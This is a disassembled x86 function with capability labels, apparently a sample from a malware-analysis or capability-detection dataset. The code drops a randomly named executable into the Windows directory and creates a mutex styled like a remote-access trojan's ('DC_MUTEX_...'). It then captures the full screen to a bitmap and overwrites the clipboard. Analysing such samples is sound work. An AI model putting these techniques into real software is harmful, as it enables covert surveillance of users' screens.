Function at 0x4011a0
Capabilities:
Check if file exists
Check mutex on windows
Get common file path
Open clipboard
Write clipboard data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x435008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.004015d0
push 0x6f7c
push 0x43264c
push 2
call fcn.00404790
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00406f70
push 0x104
call fcn.004099f7
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x401307
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x104
push esi
call ebx
mov edi, eax
test edi, edi
je 0x4012fe
cmp edi, 0x104
jb 0x40124d
xor edx, edx
mov ecx, edi
add ecx, 0x104
setb dl
neg edx
or edx, ecx
push edx
push esi
call fcn.0040e8c9
add esp, 8
test eax, eax
je 0x4012fe
lea ecx, [edi + 0x104]
mov esi, eax
push ecx
push eax
call ebx
test eax, eax
je 0x4012fe
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x108]
push str._08x.exe
push eax
call fcn.00404680
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push esi
push str.MakeRandomExePathInSystemDir:_s_n
call fcn.00404650
add esp, 8
push esi
xor bl, bl
mov dword [ebp - 0x138], 0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401307
push 0
lea eax, [ebp - 0x138]
push eax
push 0x400
push 0x435a70
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4012ea
cmp dword [ebp - 0x138], 0x400
mov eax, 1
movzx ebx, bl
cmove ebx, eax
test edi, edi
je 0x4012fa
cmp edi, 0xffffffff
je 0x4012fa
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x401307
push esi
call fcn.004099dc
add esp, 4
push 0x227b
push 0x43264c
push 2
call fcn.00404790
add esp, 0xc
push str.DC_MUTEX_4WTL4ZR
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401344
test esi, esi
je 0x401344
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4a66
push 0x43264c
push 2
call fcn.00404790
call fcn.004043d0
push 0x64ee
push 0x43264c
push 2
call fcn.00404790
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
add esp, 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x130], xmm0
push 0
movups xmmword [ebp - 0x120], xmm0
movq qword [ebp - 0x110], xmm0
call esi
mov ebx, eax
push 1
mov dword [ebp - 0x150], ebx
call esi
mov dword [ebp - 0x14c], eax
xorps xmm0, xmm0
mov dword [ebp - 0x12c], eax
imul eax, ebx
movlpd qword [ebp - 0x120], xmm0
movlpd qword [ebp - 0x118], xmm0
movlpd qword [ebp - 0x110], xmm0
mov dword [ebp - 0x134], 0x28
add eax, eax
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x120], eax
add eax, 0x36
mov dword [ebp - 0x146], eax
mov eax, 0x4d42
mov dword [ebp - 0x128], 0x100001
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x142], 0
mov dword [ebp - 0x13e], 0x36
mov word [ebp - 0x148], ax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [ebp - 0x154], eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
test edi, edi
je 0x40153f
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
test esi, esi
je 0x401532
push 0
push 0
lea eax, [ebp - 0x138]
push eax
push 0
lea eax, [ebp - 0x134]
push eax
push edi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov ebx, eax
test ebx, ebx
je 0x40152b
push ebx
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebp - 0x14c]
push dword [ebp - 0x150]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x401524
push dword [ebp - 0x146]
call fcn.004099f7
add esp, 4
test eax, eax
je 0x401524
movq xmm0, qword [ebp - 0x148]
mov ecx, dword [ebp - 0x140]
movq qword [eax], xmm0
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x13c]
mov word [eax + 0xc], cx
movups xmm0, xmmword [ebp - 0x134]
movups xmmword [eax + 0xe], xmm0
movups xmm0, xmmword [ebp - 0x124]
movups xmmword [eax + 0x1e], xmm0
movq xmm0, qword [ebp - 0x114]
movq qword [eax + 0x2e], xmm0
add eax, 0x36
push dword [ebp - 0x120]
push dword [ebp - 0x138]
push eax
call fcn.00407110
push 0x43269f
push 0x19895
push 2
call fcn.004048c0
add esp, 0x18
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push dword [ebp - 0x154]
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x382
push 0x43264c
push 2
call fcn.00404790
add esp, 0xc
push 0x104
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4015ab
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4015ab
push str.adfasdgag
push 0x104
push eax
call fcn.00409a02
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
push str.pause
call fcn.004099d1
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.00404e42
mov esp, ebp
pop ebp
ret